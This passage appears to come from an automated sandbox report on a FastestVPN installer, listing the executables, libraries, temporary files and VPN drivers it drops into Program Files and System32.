    Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-FKR1L.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET3E81.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-0QDRN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-EDC5Q.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-A6140.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\libssl-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-QVG37.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-27RBI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-5MIQQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-8ATR4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\iphelperclose.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-U4BRD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\iphelperclose.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-99CNN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-0SJ98.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-QC9L9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\nfapi.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-51N13.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-ILF9I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\subinacl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\libssl32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\unins000.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\openvpnserv.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-G502V.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-8IJ1N.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-SIFEE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-JURBP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\openssl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-9QKBR.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\nfapi.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\subinacl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-UK0LH.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-R18E4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\liblzo2-2.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-QHD6A.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-3211D.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EUPO7.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\System.Memory.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-3BVSP.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-CIEMI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-J47PI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\vcruntime140.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\openvpn.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\is-ITKUS.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-PVDB2.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Flurl.Http.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-KI25U.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\is-K1359.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-1MJTU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-A65FP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-AA9TI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-KH3QE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Users\user\AppData\Local\Temp\is-CRM8G.tmp\_isetup\_setup64.tmpJump to dropped file
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeFile created: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-3A406.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-CEUK8.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Updater.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-6S3D1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\tapinstallWin64.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-VCK53.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-EVBIG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-380D9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-1CJVQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-FQ58N.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-EMFMT.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\wireguard.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-U7JPO.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-M4SB1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Flurl.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-C94HO.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-VEH95.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-J1CTU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-2MRML.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\System.Buffers.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-B33J3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\SingleInstanceApplication.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-9GVRJ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\System.Web.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-R9MSC.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-7IV9U.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-IBU7R.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-R5J7J.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\ssleay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\nfapi.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-BHOGA.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-CJ7QL.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\devcon.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-F2JV1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-R1MP1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-L468K.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-FONAV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\openvpnserv2.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-2UQE3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-QIAH3.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\SET25DB.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-QKJFC.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-SURFG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\tapctl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-8GI77.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET28C9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-9UKRQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-8M1QQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-LKQ8H.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-BMT4K.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-PT7JD.tmpJump to dropped file
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\System32\drivers\fastestvpndriver.sysJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-8MGRV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-U4UD1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-F3KEK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\fastestvpndriver.sys (copy)Jump to dropped file
